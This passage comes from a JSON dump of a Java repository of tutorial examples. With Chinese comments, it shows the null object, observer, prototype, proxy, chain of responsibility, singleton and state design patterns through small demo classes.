.可以加强系统的稳固性，能有效防止空指针报错对整个系统的影响。\n\t\t 2 .不依赖客户端便可以保证系统的稳定性。\n\t\t \n\t\t 缺点: \n\t\t 1.需要编写较多的代码来实现空值的判断，从某种方面来说不划算。\n\t\t \n\t\t 使用场景：\n\t\t 需要大量对空值进行判断的时候。\n\t\t \n\t\t * \n\t\t */\n\t}\n\n}\n\n//定义一个抽象类\ninterface AbstractUser {\n\tString getName();\n\n\tboolean isNull();\n}\n\n//实际用户\nclass RealUser implements AbstractUser {\n\tprivate String name;\n\n\tpublic RealUser(String name) {\n\t\tthis.name = name;\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn name;\n\t}\n\n\t@Override\n\tpublic boolean isNull() {\n\t\treturn false;\n\t}\n}\n\nclass NullUser implements AbstractUser {\n\n\t@Override\n\tpublic String getName() {\n\t\treturn \"user is not exist\";\n\t}\n\n\t@Override\n\tpublic boolean isNull() {\n\t\treturn true;\n\t}\n}\n\n//定义一个工厂\nclass UserFactory {\n\n\tpublic static final String[] names = { \"zhangsan\", \"lisi\", \"xuwujing\" };\n\n\tpublic static AbstractUser getUser(String name) {\n\t\tfor (int i = 0; i < names.length; i++) {\n\t\t\tif (names[i].equalsIgnoreCase(name)) {\n\t\t\t\treturn new RealUser(name);\n\t\t\t}\n\t\t}\n\t\treturn new NullUser();\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/nullobject/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 空对象模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.nullobject;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/observer/ObserverTest.java",
    "content": "package com.jun.plugin.design.observer;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * @Title: ObserverTest\n * @Description: 观察者模式 当对象间存在一对多关系时，则使用观察者模式（Observer\n *               Pattern）。比如，当一个对象被修改时，则会自动通知它的依赖对象。观察者模式属于行为型模式。\n 观察者模式是对象的行为模式，又叫发布-订阅(Publish/Subscribe)模式、模型-视图(Model/View)模式、源-监听器(Source/Listener)模式或从属者(Dependents)模式。\n观察者模式定义了一种一对多的依赖关系，让多个观察者对象同时监听某一个主题对象。这个主题对象在状态上发生变化时，会通知所有观察者对象，使它们能够自动更新自己。    \n *               核心:定义对象间的一种一对多的依赖关系，当一个对象的状态发生改变时，所有依赖于它的对象都得到通知并被自动更新。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class ObserverTest {\n\n\tpublic static void main(String[] args) {\n\n\t\t/*\n\t\t * 基本使用\n\t\t * \n\t\t 基本角色\n\t\t 1.抽象主题角色（Subject）：它把所有观察者对象的引用保存到一个聚集里，每个主题都可以有任何数量的观察者。抽象主题提供一个接口，可以增加和删除观察者对象。\n\t\t 2.具体主题角色（ConcreteSubject）：将有关状态存入具体观察者对象；在具体主题内部状态改变时，给所有登记过的观察者发出通知。\n\t\t 3.抽象观察者角色（Observer）：为所有的具体观察者定义一个接口，在得到主题通知时更新自己。\n\t\t 4.具体观察者角色（ConcreteObserver）：实现抽象观察者角色所要求的更新接口，以便使本身的状态与主题状态协调。  \n\t\t   \n\t\t * \n\t\t */\n\n\t\t\n\t\t/*\n\t\t 比如，订阅番剧，番剧更新则通知订阅的人。\n\t\t xuwujing订阅了 <冰菓>和<fate/zero>番剧，当番剧更新的时候，他们就会收到通知！\n\t\t 如果他们取消了该番剧的订阅，那么他就不会收到该番剧的通知了。\n\t\t */\n\t\tString name1 =\"张三\";\n\t\tString name2 =\"xuwujing\";\n\t\tString\tbingguo = \"冰菓\";\n\t\tString\tfate = \"fate/zero\";\n\t\tBangumiSubject bs1 = new Bangumi(bingguo);\n\t\tBangumiSubject bs2 = new Bangumi(fate);\n        \n        UserObserver uo1 = new User(name1);\n        UserObserver uo2 = new User(name2);\n        \n        //进行订阅\n        bs1.toThem(uo1);\n        bs1.toThem(uo2);\n        bs2.toThem(uo1);\n        bs2.toThem(uo2);\n        //进行通知\n        bs1.notifyUser();\n        bs2.notifyUser();\n        \n        //取消订阅\n        bs1.callOff(uo1);\n        bs2.callOff(uo2);\n        //进行通知\n        bs1.notifyUser();\n        bs2.notifyUser();\n        \n        /*\n        \t输出结果：\n                    用户张三订阅了冰菓!\n\t\t用户xuwujing订阅了冰菓!\n\t\t用户张三订阅了fate/zero!\n\t\t用户xuwujing订阅了fate/zero!\n\t\t冰菓更新了！开始通知订阅该番剧的用户！\n\t\t张三订阅的番剧: 冰菓更新啦！\n\t\txuwujing订阅的番剧: 冰菓更新啦！\n\t\tfate/zero更新了！开始通知订阅该番剧的用户！\n\t\t张三订阅的番剧: fate/zero更新啦！\n\t\txuwujing订阅的番剧: fate/zero更新啦！\n\t\t用户张三取消订阅冰菓!\n\t\t用户xuwujing取消订阅fate/zero!\n\t\t冰菓更新了！开始通知订阅该番剧的用户！\n\t\txuwujing订阅的番剧: 冰菓更新啦！\n\t\tfate/zero更新了！开始通知订阅该番剧的用户！\n\t\t张三订阅的番剧: fate/zero更新啦！\n         */\n        \n\t\t/*\n\t\t * \n\t\t 优点： 1、解除耦合，让耦合的双方都依赖于抽象，从而使得各自的变换都不会影响另一边的变换。\n\t\t 缺点： 1、如果一个被观察者对象有很多的直接和间接的观察者的话，将所有的观察者都通知到会花费很多时间。\n\t\t  \t2、如果在观察者和观察目标之间有循环依赖的话，观察目标会触发它们之间进行循环调用，可能导致系统崩溃。\n\t\t  \t3、观察者模式没有相应的机制让观察者知道所观察的目标对象是怎么发生变化的，而仅仅只是知道观察目标发生了变化。\n\t\t \n\t\t 使用场景：\n\t\t  \n\t\t 1. 需要关联行为的场景；\n\t\t 2. 事件需要创建一个触发链的场景，比如监控；\n\t\t 3.跨系统的消息交换场景，比如消息队列、事件总线的处理机制。\n\t\t\n\t\t  注意事项： \n\t\t   1、JAVA中已经有了对观察者模式的支持类。\n\t\t   2、避免循环引用。 \n\t\t   3、如果顺序执行，某一观察者错误会导致系统卡壳，一般采用异步方式。\n\t\t * \n\t\t */\n\t}\n\n}\n\n\n\n//定义一个抽象主题, 将观察者(订阅者)聚集起来,可以进行新增、删除和通知。\n//这里就可以当做番剧\ninterface BangumiSubject{\n\t//追番\n\tvoid toThem(UserObserver user);\n\t//取消追番\n\tvoid callOff(UserObserver user);\n\t//通知\n\tvoid notifyUser();\n}\n\n\n//定义一个抽象观察者,在得到通知时进行更新\n//这里就可以当做是用户\ninterface UserObserver{\n\t//更新通知\n\tvoid update(String bangumi);\n\t//得到用户名称\n\tString getName();\n}\n\n//定义一个具体主题,实现了抽象主题(BangumiSubject)接口的方法\n//同时通过一个List集合保存观察者的信息，当需要通知观察者的时候，遍历通知即可。\nclass  Bangumi implements BangumiSubject {\n    \n\n    private List<UserObserver> list;\n    private String  anime;\n    public Bangumi(String anime) {\n        this.anime = anime;\n    \tlist = new ArrayList<UserObserver>();\n    }\n    \n    @Override\n    public void toThem(UserObserver user) {\n        System.out.println(\"用户\"+user.getName()+\"订阅了\"+anime+\"!\");\n        list.add(user);\n    }\n    \n    @Override\n    public void callOff(UserObserver user) {\n        if(!list.isEmpty()) {\n        \tSystem.out.println(\"用户\"+user.getName()+\"取消订阅\"+anime+\"!\");\n        \tlist.remove(user);\n        }\n    }\n\n    @Override\n    public void notifyUser() {\n    \tSystem.out.println(anime+\"更新了！开始通知订阅该番剧的用户！\");\n    \tlist.forEach(user->\n    \t\tuser.update(anime)\n    \t);\n    }\n\n}\n\n\n//定义了一个具体观察者,实现抽象观察者(UserObserver)接口的方法\nclass  User implements UserObserver{\n\tprivate String name;\n\tpublic User(String name){\n\t\tthis.name = name;\n\t}\n\t\n\t@Override\n\tpublic void update(String bangumi) {\n\t\tSystem.out.println(name+\"订阅的番剧: \" + bangumi+\"更新啦！\");\n\t}\n\n\t@Override\n\tpublic String getName() {\n\t\treturn name;\n\t} \n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/observer/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 观察者模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.observer;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 设计模式相关测试代码\n设计模式有23种类型。按照主要分类可以分为三大类:\n\n一、创建型模式\n\n这些设计模式提供了一种在创建对象的同时隐藏创建逻辑的方式，而不是使用 new运算符直接实例化对象。这使得程序在判断针对某个给定实例需要创建哪些对象时更加灵活。\n\n单例模式\n工厂模式\n抽象工厂模式\n建造者模式\n原型模式\n二、结构型模式\n\n这些设计模式关注类和对象的组合。继承的概念被用来组合接口和定义组合对象获得新功能的方式。\n\n适配器模式\n桥接模式\n过滤器模式\n组合模式\n装饰器模式\n外观模式\n享元模式\n代理模式\n三、行为型模式\n\n这些设计模式特别关注对象之间的通信。\n\n责任链模式\n命令模式\n解释器模式\n迭代器模式\n中介者模式\n备忘录模式\n观察者模式\n状态模式\n空对象模式\n策略模式\n模板模式\n访问者模式\n\n\n设计模式的原则\n设计模式的六大原则\n开闭原则：对扩展开放，对修改关闭。\n里氏代换原则：对开闭原则的补充。任何基类可以出现的地方，子类一定可以出现。LSP 是继承复用的基石，只有当派生类可以替换掉基类，且软件单位的功能不受到影响时，基类才能真正被复用，而派生类也能够在基类的基础上增加新的行为。\n依赖倒转原则：针对接口编程，依赖于抽象而不依赖于具体。\n接口隔离原则：尽量使用多个隔离的接口，为了降低类之间的耦合度。\n迪米特法则：一个实体应当尽量少地与其他实体之间发生相互作用，使得系统功能模块相对独立。\n合成复用原则：尽量使用合成/聚合的方式，而不是使用继承。\n\n\n\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年7月7日\n*/\npackage com.jun.plugin.design;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/prototype/PrototypeTest.java",
    "content": "package com.jun.plugin.design.prototype;\n\n/**\n * @Title: PrototypeTest\n * @Description: 原型模式\n *  用原型实例指定创建对象的种类，并且通过拷贝这些原型创建新的对象。 \n *  所谓原型模式，就是java中的克隆技术，以某个对象为原型。复制出新的对象。显然新的对象具备原型对象的特点。\n *  1、实现克隆操作，在 JAVA 继承 Cloneable，重写 clone()。\n *  2、原型模式同样用于隔离类对象的使用者和具体类型（易变类）之间的耦合关系，它同样要求这些\"易变类\"拥有稳定的接口。\n *  \n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月13日\n */\npublic class PrototypeTest {\n\n\tpublic static void main(String[] args) {\n\t\tMail mail=new Mail();\n\t\tmail.setMsg(\"生日快乐!\");\n\t\tMail mail2=(Mail) mail.clone();\n\t\tSystem.out.println(\"小明:\"+mail.getMsg());\n\t\tSystem.out.println(\"小红:\"+mail2.getMsg());\n\t}\n}\n\n/**\n * @Title:\n * @Description: 定义一个原型的邮件信息\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月15日\n */\n class Mail implements Cloneable {\n\tprotected String msg;\n\n\tpublic String getMsg() {\n\t\treturn msg;\n\t}\n\n\tpublic void setMsg(String msg) {\n\t\tthis.msg = msg;\n\t}\n\n\t\n\tpublic Object clone() {\n\t\tObject clone = null;\n\t\ttry {\n\t\t\tclone = super.clone();\n\t\t} catch (CloneNotSupportedException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn clone;\n\t}\n\tvoid sendMail() {\n\t}\n}\n\nclass BirthdayMail extends Mail {\n\n\tpublic BirthdayMail() {\n\t\tmsg = \"生日快乐!\";\n\t}\n\n\t@Override\n\tvoid sendMail() {\n\t\tSystem.out.println(msg);\n\t}\n}\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/prototype/package-info.java",
    "content": "\n/**\n* @Title: package-info\n* @Description: \n* 原型模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月7日\n*/\npackage com.jun.plugin.design.prototype;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/proxy/ProxyTest.java",
    "content": "package com.jun.plugin.design.proxy;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Method;\nimport java.lang.reflect.Proxy;\n\n/**\n * @Title: ProxyTest\n * @Description:代理模式 在代理模式中，一个类代表另一个类的功能。这种类型的设计模式属于结构型模式。\n *                   在代理模式中，我们创建具有现有对象的对象，以便向外界提供功能接口。\n * \n *                   应用实例： 1、Windows 里面的快捷方式。 2、spring aop。 3、支票。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class ProxyTest {\n\n\tpublic static void main(String[] args) {\n\n\t\t/*\n\t\t * \n\t\t * \n\t\t * 一个是真正的你要访问的对象(目标类)，一个是代理对象,真正对象与代理 对象实现同一个接口,先访问代理类再访问真正要访问的对象。\n\t\t * 代理模式分为静态代理、动态代理。\n\t\t * 静态代理是由程序员创建或工具生成代理类的源码，再编译代理类。所谓静态也就是在程序运行前就已经存在代理类的字节码文件，\n\t\t * 代理类和委托类的关系在运行前就确定了。 动态代理是在实现阶段不用关心代理类，而在运行阶段才指定哪一个对象。\n\t\t * \n\t\t * 组成： 抽象角色：通过接口或抽象类声明真实角色实现的业务方法。\n\t\t * 代理角色：实现抽象角色，是真实角色的代理，通过真实角色的业务逻辑方法来实现抽象方法，并可以附加自己的操作。\n\t\t * 真实角色：实现抽象角色，定义真实角色所要实现的业务逻辑，供代理角色调用。\n\t\t  \n\t\t * JDK对动态代理提供了以下支持:\t\n\t\t\tjava.lang.reflect.Proxy 动态生成代理类和对象\n\t\t\tjava.lang.reflect.InvocationHandler  \n\t\t\t可以通过invoke方法实现对真实角色的代理访问;\n\t\t\t每次通过Proxy生成代理类对象时都要指定对象的处理器对象.\n\n\t\t * 优点： 1、职责清晰。 2、高扩展性。 3、智能化。\n\t\t *  缺点：\n\t\t * 1、由于在客户端和真实主题之间增加了代理对象，因此有些类型的代理模式可能会造成请求的处理速度变慢。\n\t\t * 2、实现代理模式需要额外的工作，有些代理模式的实现非常复杂。\n\t\t * \n\t\t * 注意事项： 1、和适配器模式的区别：适配器模式主要改变所考虑对象的接口，而代理模式不能改变所代理类的接口。\n\t\t * 2、和装饰器模式的区别：装饰器模式为了增强功能，而代理模式是为了加以控制。\n\t\t */\n\n\t\t/*\n\t\t * <大话设计模式>中的追求者、代理者 张三想买东西，可以自己买，但是此时李四正好在商场，于是便让李四帮忙(代理)买了。\n\t\t */\n\n\t\t/*\n\t\t * 静态代理\n\t\t */\n\n\t\tString name = \"李四\";\n\t\tShopping shopping = new ProxyPerson(new ExecutePerson(name));\n\t\tshopping.buyFood();\n\n\t\t/*\n\t\t * 动态代理\n\t\t */\n\t\tShopping shopping2 = (Shopping) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Shopping.class}, new ProxyPerson2(new ExecutePerson(name)));\n\t\tshopping2.buyFood();\n\n\t\t/*\n\t\t * 核心就是在不影响之前的功能下进行扩展\n\t\t */\n\t}\n}\n\n/*\n * \n */\ninterface Shopping {\n\tvoid buyFood();\n}\n\n/*\n * 定义一个需要买东西的人\n */\nclass ExecutePerson implements Shopping {\n\n\tprivate String name;\n\n\tpublic ExecutePerson(String name) {\n\t\tthis.name = name;\n\t}\n\n\t@Override\n\tpublic void buyFood() {\n\t\tSystem.out.println(name + \" 买东西\");\n\t}\n}\n\n/*\n * 静态代理\n * 定义一个可以帮买东西的人\n */\nclass ProxyPerson implements Shopping {\n\tprivate ExecutePerson ep;\n\n\tpublic ProxyPerson(ExecutePerson ep) {\n\t\tthis.ep = ep;\n\t}\n\n\t@Override\n\tpublic void buyFood() {\n\t\tep.buyFood();\n\t}\n}\n\n/*\n * 动态代理\n * 定义一个可以帮买东西的人\n */\nclass ProxyPerson2 implements InvocationHandler {\n\tprivate Shopping shopping;\n\n\tprivate final String methodName = \"buyFood\";\n\n\tpublic ProxyPerson2(Shopping shopping) {\n\t\tthis.shopping = shopping;\n\t}\n\n\t@Override\n\tpublic Object invoke(Object proxy, Method method, Object[] args) throws Throwable {\n\t\tObject result = null;\n\t\tif (methodName.equals(method.getName())) {\n\t\t\tresult = method.invoke(shopping, args);\n\t\t}\n\t\treturn result;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/proxy/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 代理模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.proxy;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/responsibility/ResponsibilityTest.java",
    "content": "package com.jun.plugin.design.responsibility;\n\n/**\n * @Title: ResponsibilityTest\n * @Description: 责任链模式\n  \t顾名思义，责任链模式（Chain of Responsibility Pattern）为请求创建了一个接收者对象的链。\n  \t这种模式给予请求的类型，对请求的发送者和接收者进行解耦。这种类型的设计模式属于行为型模式。\n\t在这种模式中，通常每个接收者都包含对另一个接收者的引用。如果一个对象不能处理该请求，那么它会把相同的请求传给下一个接收者，依此类推。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class ResponsibilityTest {\n\n\tpublic static void main(String[] args) {\n\t\t\n\t\t\n\t\t/*\n\t\t * 通过条件判断是否能够处理，符合就行处理，否则就转交给下一个进行处理\n\t\t * \n\t\t */\n\t\tString name = \"xuwujing\";\n\t\tString something = \"去聚餐\";\n\t\tString something2 = \"去旅游\";\n\t\tLearder learder1 =new Supervisor(name, something);\n\t\tLearder learder2 =new BranchManager(name, something);\n\t\tLearder learder3 =new GeneralManager(name, something);\n\t\tlearder1.setLearder(learder2);\n\t\tlearder2.setLearder(learder3);\n\t\tlearder1.handler(1);\n\t\t\n\t\tLearder learder4 =new Supervisor(name, something2);\n\t\tLearder learder5 =new BranchManager(name, something2);\n\t\tLearder learder6 =new GeneralManager(name, something2);\n\t\tlearder4.setLearder(learder5);\n\t\tlearder5.setLearder(learder6);\n\t\tlearder4.handler(0);\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n\n// 定义一个抽象类\nabstract class Handler {\n\tprotected Handler successor;\n\n\t/** * 示意处理请求的方法，虽然这个示意方法是没有传入参数的 但实际是可以传入参数的，根据具体需要来选择是否传递参数 */\n\tpublic abstract void handleRequest();\n\n\t/** * 取值方法 */\n\tpublic Handler getSuccessor() {\n\t\treturn successor;\n\t}\n\n\t/** * 赋值方法，设置后继的责任对象 */\n\tpublic void setSuccessor(Handler successor) {\n\t\tthis.successor = successor;\n\t}\n\n}\n\n// 具体的业务\nclass ConcreteHandler extends Handler {\n\t@Override\n\tpublic void handleRequest() {\n\t\t/** * 判断是否有后继的责任对象 如果有，就转发请求给后继的责任对象 如果没有，则处理请求 */\n\t\tif (getSuccessor() != null) {\n\t\t\tSystem.out.println(\"放过请求\");\n\t\t\tgetSuccessor().handleRequest();\n\t\t} else {\n\t\t\tSystem.out.println(\"处理请求\");\n\t\t}\n\t}\n}\n\n\nabstract class Learder{\n\t\n\t\n\tprotected Learder learder;\n\t\n\tprotected void setLearder(Learder learder){\n\t\tthis.learder=learder;\n\t}\n\t\n\tprotected Learder getLearder(){\n\t\treturn learder;\n\t}\n\t\n\tabstract void handler(int  level);\n}\n\n//主管\nclass Supervisor extends Learder{\n\t private String name;\n\t private String something;\n\t public Supervisor(String name,String something) {\n\t\tthis.name=name;\n\t\tthis.something=something;\n\t}\n\t\n\t@Override\n\tvoid handler(int level) {\n\t\t//如果级别在自己的处理范围之内\n\t\tif(level>1){\n\t\t\tSystem.out.println(\"主管处理了  \"+name+\"所述的<\"+something+\">事情!\");\n\t\t}else{\n\t\t\tSystem.out.println(\"主管未能处理  \"+name+\"所述的<\"+something+\">事情!转交给上级!\");\n\t\t\tgetLearder().handler(level);\n\t\t}\n\t}\n}\n\n//部门经理\nclass BranchManager extends Learder{\n\t private String name;\n\t private String something;\n\t public BranchManager(String name,String something) {\n\t\tthis.name=name;\n\t\tthis.something=something;\n\t}\n\t\n\t@Override\n\tvoid handler(int level) {\n\t\t//如果级别在自己的处理范围之内\n\t\tif(level>0){\n\t\t\tSystem.out.println(\"部门经理处理了  \"+name+\"所述的<\"+something+\">事情!\");\n\t\t}else{\n\t\t\tSystem.out.println(\"部门经理未能处理  \"+name+\"所述的<\"+something+\">事情!转交给上级!\");\n\t\t\tgetLearder().handler(level);\n\t\t}\n\t}\n}\n\n//总经理\nclass GeneralManager extends Learder{\n\t private String name;\n\t private String something;\n\t public GeneralManager(String name,String something) {\n\t\tthis.name=name;\n\t\tthis.something=something;\n\t}\n\t\n\t@Override\n\tvoid handler(int level) {\n\t\t//如果级别在自己的处理范围之内\n\t\tif(level>-1){\n\t\t\tSystem.out.println(\"总经理处理了  \"+name+\"所述的<\"+something+\">事情!\");\n\t\t}else{\n\t\t\tSystem.out.println(\"总经理未能处理  \"+name+\"所述的<\"+something+\">事情!转交给上级!\");\n\t\t\tgetLearder().handler(level);\n\t\t}\n\t}\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/responsibility/package-info.java",
    "content": "/**\n* @Title: package-info\n* @Description: 责任链模式\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年8月8日\n*/\npackage com.jun.plugin.design.responsibility;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/singleton/SingletonTest.java",
    "content": "package com.jun.plugin.design.singleton;\n/**\n * @author ZERO\n * @Data 2017-6-7 下午4:08:26\n * @Description \n */\n\n/** \n * 方法一\n * 单例模式的实现：饿汉式,线程安全 但效率比较低 \n * \n * 方法一就是传说的中的饿汉模式\n * 优点是：写起来比较简单，而且不存在多线程同步问题，避免了synchronized所造成的性能问题；\n * 缺点是：当类SingletonTest被加载的时候，会初始化static的instance，静态变量被创建并分配内存空间，\n * 从这以后，这个static的instance对象便一直占着这段内存（即便你还没有用到这个实例），\n * 当类被卸载时，静态变量被摧毁，并释放所占有的内存，因此在某些特定条件下会耗费内存。\n * \n */  \n class SingletonTest1 {  \n\n    // 定义一个私有的构造方法\n    private SingletonTest1() {  \n    }  \n\n    // 将自身的实例对象设置为一个属性,并加上Static和final修饰符\n    private static final SingletonTest1 instance = new SingletonTest1();  \n\n    // 静态方法返回该类的实例\n    public static SingletonTest1 getInstance() {  \n        return instance;  \n    }  \n}\n \n \n /**  \n  * 方法二\n  * 单例模式的实现：饱汉式,非线程安全   \n  * 方法二就是传说的中的饱汉模式\n  * 优点是：写起来比较简单，当类SingletonTest被加载的时候，静态变量static的instance未被创建并分配内存空间，\n  * 当getInstance方法第一次被调用时，初始化instance变量，并分配内存，因此在某些特定条件下会节约了内存；\n  * 缺点是：并发环境下很可能出现多个SingletonTest实例。  \n  */  \n class SingletonTest2 {\n     // 定义私有构造方法（防止通过 new SingletonTest()去实例化）\n     private SingletonTest2() {   \n     }   \n\n     // 定义一个SingletonTest类型的变量（不初始化，注意这里没有使用final关键字）\n     private static SingletonTest2 instance;   \n\n     // 定义一个静态的方法（调用时再初始化SingletonTest，但是多线程访问时，可能造成重复初始化问题）\n     public static SingletonTest2 getInstance() {   \n         if (instance == null) {\n\t\t\tinstance = new SingletonTest2();\n\t\t}   \n         return instance;   \n     }   \n }  \n \n \n /**  \n  *方法三\n  * 单例模式的实现：饱汉式,线程安全简单实现   \n  * 方法三为方法二的简单优化\n  *\t优点是：使用synchronized关键字避免多线程访问时，出现多个SingletonTest实例。\n  *\t缺点是：同步方法频繁调用时，效率略低  \n  */  \n    class SingletonTest3 {\n     // 定义私有构造方法（防止通过 new SingletonTest()去实例化）\n     private SingletonTest3() {   \n     }   \n     // 定义一个SingletonTest类型的变量（不初始化，注意这里没有使用final关键字）\n     private static SingletonTest3 instance;   \n\n     // 定义一个静态的方法（调用时再初始化SingletonTest，使用synchronized 避免多线程访问时，可能造成重的复初始化问题）\n     public static synchronized  SingletonTest3 getInstance() {   \n         if (instance == null) {\n\t\t\tinstance = new SingletonTest3();\n\t\t}   \n         return instance;   \n     }   \n   } \n \n    \n    /**\n     * 方法四\n     *   静态内部类\n     * 这种写法仍然使用JVM本身机制保证了线程安全问题；由于SingletonTest5是私有的， 除了getInstance()之外没有办法访问它，\n     * 因此它是懒汉式的；同时读取实例的时候不会进行同步，没有性能缺陷；也不依赖JDK版本。\n     */\n   class  SingletonTest4 {\n\t   private SingletonTest4(){\n\t   }\n\t   private static class SingletonTest5{\n\t       private static SingletonTest4 instance = new SingletonTest4();\n\t    }\n\t    public static final SingletonTest4 getInstance(){\n\t        return SingletonTest5.instance;\n\t    }\n   }\n    \n    \n    /**  \n     * 方法五 双重锁\n     * 单例模式最优方案\n     * 线程安全  并且效率高  \n     * 方法四为单例模式的最佳实现。内存占用低，效率高，线程安全，多线程操作原子性。\n     */  \n    class SingletonTest6 { \n        // 定义一个私有构造方法\n        private SingletonTest6() { \n        }   \n        //定义一个静态私有变量(不初始化，不使用final关键字，使用volatile保证了多线程访问时instance变量的可见性，避免了instance初始化时其他变量属性还没赋值完时，被另外线程调用)\n        private static volatile SingletonTest6 instance;  \n        //定义一个共有的静态方法，返回该类型实例\n        public static SingletonTest6 getIstance() { \n            // 对象实例化时与否判断（不使用同步代码块，instance不等于null时，直接返回对象，提高运行效率）\n            if (instance == null) {\n                //同步代码块（对象未初始化时，使用同步代码块，保证多线程访问时对象在第一次创建后，不再重复被创建）\n                synchronized (SingletonTest6.class) {\n                    //未初始化，则初始instance变量\n                    if (instance == null) {\n                        instance = new SingletonTest6();   \n                    }   \n                }   \n            }   \n            return instance;   \n        }   \n    }  \n    \n    /**\n     * 方法六，枚举单例模式\n     * 1.从Java1.5开始支持; \n     * 2.无偿提供序列化机制; \n     * 3.绝对防止多次实例化，即使在面对复杂的序列化或者反射攻击的时候; \n     * 自由序列化，线程安全，保证单例\n     */\n     enum SingletonTest7{\n    \tINSTANCE;\n     }\n    \n public class SingletonTest {\n\tpublic static void main(String[] args) {\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/singleton/package-info.java",
    "content": "/**\n * \n */\n/**\n * Title: package-info\n * Description: 单例模式测试\n * Version:1.0.0  \n * @author pancm\n * @date 2017年11月7日\n */\npackage com.jun.plugin.design.singleton;"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/design/state/StateTest.java",
    "content": "package com.jun.plugin.design.state;\n\n/**\n * @Title: StateTest\n * @Description: 状态模式 在状态模式（State Pattern）中，类的行为是基于它的状态改变的。这种类型的设计模式属于行为型模式。\n *               在状态模式中，我们创建表示各种状态的对象和一个行为随着状态对象改变而改变的 context 对象。\n *               允许对象在内部状态发生改变时改变它的行为，对象看起来好像修改了它的类。\n *      状态模式主要解决的是当控制一个对象状态转换的条件表达式过于复杂是的情况。把状态的判断逻辑转移到表示不同状态一系列类中，可以把复杂的判断简单化。\n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月8日\n */\npublic class StateTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t\n\t\t/*\n\t\t  \n\t\t  例子: 经典的Tcp的状态有 创建、监听、关闭这三个状态。\n\t\t  \n\t\t  基本角色:\n\t\t 环境角色（Context）：它定义了客户程序需要的接口并维护一个具体状态角色的实例，将与状态相关的操作委托给当前的Concrete State对象来处理。\n　　\t\t 抽象状态角色（State）：定义一个接口以封装使用上下文环境的的一个特定状态相关的行为。\n　　\t\t 具体状态角色（Concrete State）：实现抽象状态定义的接口。 \n\t\t * \n\t\t */\n\t\t\n\t\tHeadset hs = new Headset(new PlayState());\n\t\t//第一次播放音乐\n\t\ths.press();\n\t\t//第二次暂停音乐\n\t\ths.press();\n\t\t//第三次播放音乐\n\t\ths.press();\n\t\t\n\t\t/*\n\t\t * 优点： \n\t\t * 1、封装了转换规则。 \n\t\t * 2、枚举可能的状态，在枚举状态之前需要确定状态种类。\n\t\t * 3、将所有与某个状态有关的行为放到一个类中，并且可以方便地增加新的状态，只需要改变对象状态即可改变对象的行为。\n\t\t * 4、允许状态转换逻辑与状态对象合成一体，而不是某一个巨大的条件语句块。 \n\t\t * 5、可以让多个环境对象共享一个状态对象，从而减少系统中对象的个数。\n\t\t * 缺点：\n\t\t * 1、状态模式的使用必然会增加系统类和对象的个数。\n\t\t * 2、状态模式的结构与实现都较为复杂，如果使用不当将导致程序结构和代码的混乱。\n\t\t * 3、状态模式对\"开闭原则\"的支持并不太好，对于可以切换状态的状态模式，增加新的状态类需要修改那些负责状态转换的源代码，\n\t\t * 否则无法切换到新增状态，而且修改某个状态类的行为也需修改对应类的源代码。 \n\t\t * 使用场景：\n\t\t * 1、行为随状态改变而改变的场景。 \n\t\t * 2、条件、分支语句的代替者。\n\t\t  和策略模式比较:\n\t\t 相同:\n\t\t\t1.它们很容易添加新的状态或策略，而且不需要修改使用它们的Context对象。\n\t\t\t2.它们都符合OCP原则，在状态模式和策略模式中，Context对象对修改是关闭的，添加新的状态或策略，都不需要修改Context。\n\t\t\t3.它们都会初始化。\n\t\t\t4.它们都依赖子类去实现相关行为。 \n\t\n\t\t 区别: \n\t\t\t 1.状态模式的行为是平行性的，不可相互替换的；\n\t\t\t 2.而策略模式的行为是平等性的，是可以相互替换的。\n\t\t\t 3.最重要的一个不同之处是，策略模式的改变由客户端完成；\n\t\t\t 4.而状态模式的改变，由环境角色或状态自己\n\t\t \n\t\t * 注意事项：在行为受状态约束的时候使用状态模式，而且状态不超过 5 